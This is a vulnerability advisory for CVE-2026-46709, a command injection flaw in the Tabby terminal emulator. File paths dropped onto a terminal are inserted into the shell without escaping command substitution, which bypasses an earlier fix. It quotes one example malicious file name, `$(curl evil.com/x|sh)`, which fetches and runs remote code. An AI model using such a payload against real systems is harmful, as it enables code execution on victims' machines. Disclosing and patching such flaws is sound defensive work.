CVE-2026-46709 Details
Description
Tabby (formerly Terminus) is a highly configurable terminal emulator. Prior to 1.0.234, Tabby inserts dropped file paths from tabby-electron/src/pathDrop.ts into the active shell without neutralizing command substitution metacharacters such as $(…) and `…`, so the incomplete CVE-2026-45038 fix for control characters still allows code execution when the victim presses Enter. This issue is fixed in version 1.0.234.
A command injection vulnerability has been identified in Tabby (formerly Terminus) versions prior to 1.0.234. The issue arises in the path-drop decorator, which inserts file paths dragged onto a terminal tab directly into the active session's standard input. The vulnerability allows execution of arbitrary commands embedded in the file name, such as `$(curl evil.com/x|sh)`, by exploiting the expansion of command substitution metacharacters in certain shell environments. This flaw is a bypass of a previous fix that only addressed control character handling, leaving the command injection vector open.
Users can upgrade to Tabby version 1.0.234 or later, where this vulnerability has been addressed.
